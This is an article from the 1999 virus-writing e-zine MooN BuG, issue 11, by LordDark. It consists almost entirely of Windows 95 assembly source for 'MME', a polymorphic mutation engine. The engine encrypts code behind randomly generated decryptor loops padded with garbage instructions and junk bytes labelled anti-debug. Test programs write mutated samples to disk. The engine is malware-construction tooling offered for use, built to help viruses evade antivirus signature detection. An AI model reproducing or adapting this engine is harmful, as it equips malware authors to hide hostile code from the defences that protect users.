╔════════╤════════════════════════════════════════════════════╤══════════╤═══╗
║Okt 1999│NF представляет электронный журнал MooN BuG issue 11│ LordDark │005║
╟────────┴────────────────────────────────────────────────────┴──────────┴───╢
║                                    MME                                     ║
╚════════════════════════════════════════════════════════════════════════════╝

=== Cut ===                                                            gen.asm
; Only for Windows'95
extrn MessageBoxA: proc
.386p
.model flat
.data
  db ?
.code
start:
      mov  ecx, 10
___1:
      push ecx
      lea  eax, buffer ; start ip
      lea  esi, _test
      mov  ecx, len_test
      lea  edi, buffer
      push ebp
      call mme_start
      pop  ebp
      push ecx
      lea  edx, file
      mov  ah, 3CH
      xor  ecx, ecx
      call Int21h
      xchg ebx, eax
      pop  ecx
      mov  ah, 40h
      lea  edx, buffer
      call Int21h
      mov  ah, 3Eh
      call Int21h
      pop  ecx
      inc  byte ptr [file]
      loop ___1
      ret
file  db  '0.dat',0
Int21h:
        push ecx
        push ebp
        push ecx eax
        push 2A0010h
        mov ebp,_krnl_begin+_1st_export
        call ebp
        pop ebp
        pop ecx
        retn

_krnl_begin equ 0BFF70000h
_1st_export equ 13D4h

_test:
       db 1000-1 dup (90h)
       ret
buffer:
       db 10000 dup (0h)
len_test = 1000
include mme.inc

end start
=== Cut ===

=== Cut ===                                                           test.asm
extrn MessageBoxA: proc
.386p
.model flat
.data
  db ?
.code
start:
      lea  esi, _exit
      mov  ecx, len_exit
      lea  edi, buffer
      push ebp
      lea  eax, buffer ; start ip
      call mme_start
      pop  ebp
      jmp  buffer  ; exit
__Z1:
include mme.inc
__Z2:
Z   = offset __Z2-__Z1
    db Z / 1000 mod 10 + '0'
    db Z / 100  mod 10 + '0'
    db Z / 10   mod 10 + '0'
    db Z / 1    mod 10 + '0'
_exit:
    db 1000 dup (90h)
    ret
len_exit = 1001
buffer:
    db 40000 dup (00h)
end start
=== Cut ===

=== Cut ===                                                          macro.inc
$lab_1 = 0
$lab_2 = 0

$make_lab macro label, num
     &label&_&num&:
     endm

$go_lab   macro uslov,label, num
     &uslov& &label&_&num&
     endm

?up       macro
     $make_lab ?lab_1, %($lab_1)
     endm

?endup    macro uslov
     $go_lab uslov,?lab_1,%($lab_1)
     $lab_1 = $lab_1 + 1
     endm

?if       macro uslov
     $go_lab uslov,?lab_2,%($lab_2)
     endm

?endif    macro
     $make_lab ?lab_2, %($lab_2)
     $lab_2 = $lab_2 + 1
     endm
=== Cut ===

=== Cut ===                                                            mme.inc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;                                    ;;;
;;;     mov reg, ofs body              ;;;
;;; loop:                              ;;;
;;;     encr..                         ;;;
;;;     inc reg                        ;;;
;;;     cmp reg, ofs body + body_len   ;;;
;;;     jnz loop                       ;;;
;;;                                    ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

include macro.inc

_random:
    movzx eax, al
random:
    push ebx ecx edx
    push eax
    mov ax, 0
    org $-2
A   dw  0
    mov bx, 0
    org $-2
B   dw  0
    mov ecx, eax
    mov dx, 8405h
    mul dx
    shl cx, 3
    add ch, cl
    add dx, cx
    add dx, bx
    shl bx, 2
    add dx, bx
    add dh, bl
    shl bx, 5
    add dh, bl
    add ax, 1
    adc dx, 0
    lea ebx, [A+ebp-_VO]
    mov 2 ptr [ebx],   ax
    mov 2 ptr [ebx+4], dx
    pop ebx
    mov ecx, edx
    mul bx
    mov ax, cx
    mov ecx, edx
    mul bx
    add ax, cx
    adc dx, 0
    xchg ax, dx
    pop edx ecx ebx
    ret

mme_start:
    call  $+5
_VO:
    pop   ebp
    mov   4 ptr [_ECX+ebp-_VO], ecx
    mov   4 ptr [_EDI+ebp-_VO], edi
    push  eax                   ; ────────────────────┐
    in al, 40h                                        │
    mov ah, al                                        │
    in al, 40h                                        │
    mov   2 ptr [A+ebp-_VO], ax                       │
    in al, 40h                                        │
    mov ah, al                                        │
    in al, 40h                                        │
    mov   2 ptr [B+ebp-_VO], ax                       │
    mov al, 0E9h                                      │
    stosb                                             │
    mov eax, 0                                        │
_ECX    equ dword ptr $-4                             │
    stosd                                             │
    xchg eax, ecx                                     │
    cld                                               │
    rep movsb                                         │
    mov 1 ptr [ebp+reg-_VO], 5   ; BP                 │
    call garbage                                      │
    mov al, 1 ptr [ebp+reg-_VO]                       │
    or  al, 50h                                       │
    stosb                                             │
    mov 1 ptr [ebp+reg-_VO], -1                       │
    call garbage                                      │
    ?up                                               │
@dark:                                                │
    mov al, 8                                         │
    call _random                                      │
    cmp al, 4                                         │
    ?endup jz                                         │
    cmp al, 5                                         │
    jz @dark                                          │
    mov 1 ptr [ebp+reg-_VO], al                       │
    or  al, 0B8h                                      │
    stosb                                             │
    pop eax               ; ──────────────────────────┘
    add eax, 5
    stosd
    push edi              ; ──────────────────────────┐
;    mov al, 1 ptr [ebp+reg]                          │
    mov al, 12h                                       │
reg equ byte ptr $-1                                  │
    mov 1 ptr [ebp+old_ind-_VO], al                   │
    call garbage                                      │
    ; <- decrypt instr.                               │
    xor ecx, ecx                                      │
    mov cl, 10                                        │
    lea esi, [ebp+decryptoz-_VO]                      │
    ?up                                               │
    push ecx             ; ───────────────┐           │
    ; 5 instr.                            │           │
    mov al, -1                            │           │
    call _random                          │           │
    xchg eax, edx                         │           │
    mov al, 5                             │           │
    call _random                          │           │
    shl eax, 1                            │           │
    xchg eax, ebx                         │           │
    mov ax, 2 ptr [ebp+ebx+encrypt_table-_VO]│        │
    mov 2 ptr [esi], ax                   │           │
    mov 1 ptr [esi+2], dl                 │           │
    mov ax, 2 ptr [ebp+ebx+decrypt_table-_VO]│        │
    or  ah, 1 ptr [ebp+reg-_VO]           │           │
    stosw                                 │           │
    xchg eax, edx                         │           │
    stosb                                 │           │
    call garbage                          │           │
    sub  esi, 3                           │           │
    pop  ecx             ; ───────────────┘           │
    ?endup loop                                       │
    mov al, 1 ptr [ebp+reg-_VO]                       │
    or  al, 40h                                       │
    stosb                                             │
    call garbage                                      │
    ; ген. mov or xchg                                │
         mov al, -1                                   │
         call _random                                 │
         and al, 1                                    │
         jz  @gen_xchg                                │
         mov al, 8Bh                                  │
         jmp @next_gen                                │
@gen_xchg:                                            │
         mov al, 87h                                  │
@next_gen:                                            │
         stosb                                        │
         mov al, 1 ptr [ebp+reg-_VO]                  │
         push eax             ; ────────────┐         │
         mov al, 12h                        │         │
old_ind  equ byte ptr $-1                   │         │
         mov 1 ptr [ebp+reg-_VO], al        │         │
         shl al, 3                          │         │
         or  al, 0C0h                       │         │
         pop ebx              ; ────────────┘         │
         or  al, bl                                   │
         stosb                                        │
    mov ax, 0F881h                                    │
    or  ah, 1 ptr [ebp+reg-_VO]                       │
    stosw                                             │
    mov eax, [ebp+_ECX-_VO]                           │
    add eax, [ebp+_EDI-_VO]                           │
    add eax, 5                                        │
    stosd                                             │
    mov ax, 850Fh                                     │
    stosw                                             │
    pop eax         ; ────────────────────────────────┘                                          │
    sub eax, edi
    sub eax, 4
    stosd
    call garbage
    call get_free_reg
    mov 1 ptr [ebp+reg-_VO], al
    or  al, 0B8h
    stosb
    mov eax, [ebp+_EDI-_VO]
    add eax, 5
    push eax     ; ──────────────────────────────────┐
    stosd                                            │
    ; generation return                              │
    call garbage                                     │
    ;;;;;;;                                          │
    mov al, 5Dh                                      │
    stosb                                            │
    mov ax, 0E0FFh                                   │
    or  ah, 1 ptr [ebp+reg-_VO]                      │
    stosw                                            │
    mov 1 ptr [ebp+reg-_VO], -1                      │
    call garbage                                     │
    pop esi     ; ───────────────────────────────────┘
    ; надо пошифровать
    mov ecx, [ebp+_ECX-_VO]
    ?up
    mov ah, 1 ptr [esi]
    ; random bytez
    db 82, 189, 159, 251, 121, 145, 59, 41, 14
    db 214, 5, 167, 118, 121, 183, 155, 154, 191
    db 87, 236, 9, 80, 41, 223, 96, 100, 172, 151
    db 63, 169
decryptoz equ $-3
    mov 1 ptr [esi], ah
    inc esi
    ?endup loop
    mov ecx, edi
    sub ecx, 12345678h
_EDI equ dword ptr $-4
    ret
encrypt_table:
    ror ah, 40h
    org $-1
    xor ah, 40h
    org $-1
    sub ah, 40h
    org $-1
    rol ah, 40h
    org $-1
    add ah, 40h
    org $-1
decrypt_table:
    rol byte ptr [eax], 40h
    org $-1
    xor byte ptr [eax], 40h
    org $-1
    add byte ptr [eax], 40h
    org $-1
    ror byte ptr [eax], 40h
    org $-1
    sub byte ptr [eax], 40h
    org $-1
generation_ob:
    mov al, ob
    call _random
    ?if call
one_byte_table:
    clc
    cld
    cli
    cmc
    sti
    nop
    stc
    std
    sahf
ob  = ($-one_byte_table)
    ?endif
    pop ebx
    xlat
    stosb
    ret
get_free_reg:
    mov al, 8
    call _random
    cmp al, 4
    jz get_free_reg
    cmp al, 1 ptr [ebp+reg-_VO]
    jz  get_free_reg
    ret
garbage:
    push esi
    lea  esi, [ebp+_random-_VO]
    mov  al, 7
    call esi
    add  al, 10
    xchg eax, ecx
    ?up
    mov al, -1
    call esi
    and al, 1
    ?if jz
        mov al, 1 ptr [ebp+reg-_VO]
        cmp al, -1
        jz @no_exchg
        push eax
        mov al, -1
        call esi
        and al, 1
        jz  @@@1
        mov al, 08Bh
        jmp @@@0
@@@1:
        mov al, 87h
@@@0:
        stosb
@@@2:
        call get_free_reg
        cmp al, 5
        jz  @@@2
        mov 1 ptr [ebp+reg-_VO], al
        shl al, 3
        or  al, 0C0h
        pop ebx
        or  al, bl
        stosb
@no_exchg:
    ?endif
    mov al, len_gb
    call esi
    mov ax, [ebp+eax*2+offset garbage_table-_VO]
    add eax, ebp
    call eax
    ?endup loop
    pop esi
    ret

garbage_table:
    dw offset generation_ob-_VO
    dw offset mov_reg_num-_VO
    dw offset mov_reg_reg-_VO
    dw offset movzx_movsx-_VO
    dw offset gen_xchg-_VO
    dw offset gen_math-_VO
    dw offset gen_math_num-_VO
    dw offset inc_dec_reg-_VO
    dw offset gen_rot-_VO
    dw offset anti_debug-_VO
    dw offset gen_lea-_VO
len_gb = ($-garbage_table)/2

make_66_prefix:
    mov al, -1
    call esi
    xor  dl, dl
    and al, 1
    ?if jz
        mov al, 66h
        stosb
        inc edx
    ?endif
    ret

mov_reg_num:
    call make_66_prefix
    call get_free_reg
    or   al, 0B8h
    stosb
    xor  eax, eax
    dec  eax
    call random
    stosw
    or  dl, dl
    ?if jnz
         xor  eax, eax
         dec  eax
         call random
         stosw
    ?endif
    ret

mov_reg_reg:
    call make_66_prefix
    mov  al, 10001001b
    stosb
    ?up
    mov  al, 8
    call esi
    xchg eax, ebx
    call get_free_reg
    cmp  al, bl
    ?endup jz
    or   al, 0C0h
    shl  bl, 3
    or   al, bl
    stosb
    ret

movzx_movsx:
    call make_66_prefix
    mov al, 00001111b
    stosb
    mov al, 2
    call esi
    shl al, 3
    or  al, 10110111b
    stosb
    mov al, 8
    call esi
    or  al, 0C0h
    xchg eax, ebx
    call get_free_reg
    shl al, 3
    or  al, bl
    stosb
    ret

gen_xchg:
    call make_66_prefix
    mov  al, 10000111b
    stosb
    ?up
    call get_free_reg
    xchg eax, ebx
    call get_free_reg
    cmp  al, bl
    ?endup jz
    shl  al, 3
    or   al, 0C0h
    or   al, bl
    stosb
    ret

gen_math:
    call make_66_prefix
    mov  al, 7
    call esi
    shl al, 3
    or  al, 1
    stosb
    mov al, 8
    call esi
    shl al, 3
    or  al, 0C0h
    xchg eax, ebx
    call get_free_reg
    or al, bl
    stosb
    ret

gen_math_num:
    call make_66_prefix
    mov  al, 10000001b
    stosb
    mov  al, 7
    call esi
    shl  al, 3
    or   al, 0C0h
    xchg eax, ebx
    call get_free_reg
    or   al, bl
    stosb
    xor  eax, eax
    dec  eax
    call random
    stosw
    or   dl, dl
    ?if jnz
        xor  eax, eax
        dec  eax
        call random
        stosw
    ?endif
    ret

inc_dec_reg:
    call make_66_prefix
    mov  al, 2
    call esi
    shl  al, 3
    or   al, 01000000b
    xchg eax, ebx
    call get_free_reg
    or   al, bl
    stosb
    ret

gen_rot:
    call make_66_prefix
    mov  al, 11000001b
    stosb
    mov  al, 8
    ?up
    call esi
    cmp  al, 6
    ?endup jz
    shl  al, 3
    or   al, 0C0h
    xchg eax, ebx
    call get_free_reg
    or   al, bl
    stosb
    mov  al, -1
    call esi
    stosb
    ret

gen_lea:
    call make_66_prefix
    mov al, 10001101b
    stosb
    ?up
    mov al, 8
    call esi
    cmp al, 4
    ?endup jz         ; != SP
    or  al, 80h
    xchg eax, ebx
    call get_free_reg
    shl al, 3
    or  al, bl
    stosb
    xor eax, eax
    dec eax
    call random
    stosw
    xor eax, eax
    dec eax
    call random
    stosw
    ret
anti_debug:
    push ecx
    mov al, 10
    call esi
    add ax, 40
    xchg eax, ecx
    mov al, 0E9h
    stosb
    mov eax, ecx
    stosd
    ?up
           mov al, -1
           call esi
           stosb
    ?endup loop
    pop ecx
    ret
=== Cut ===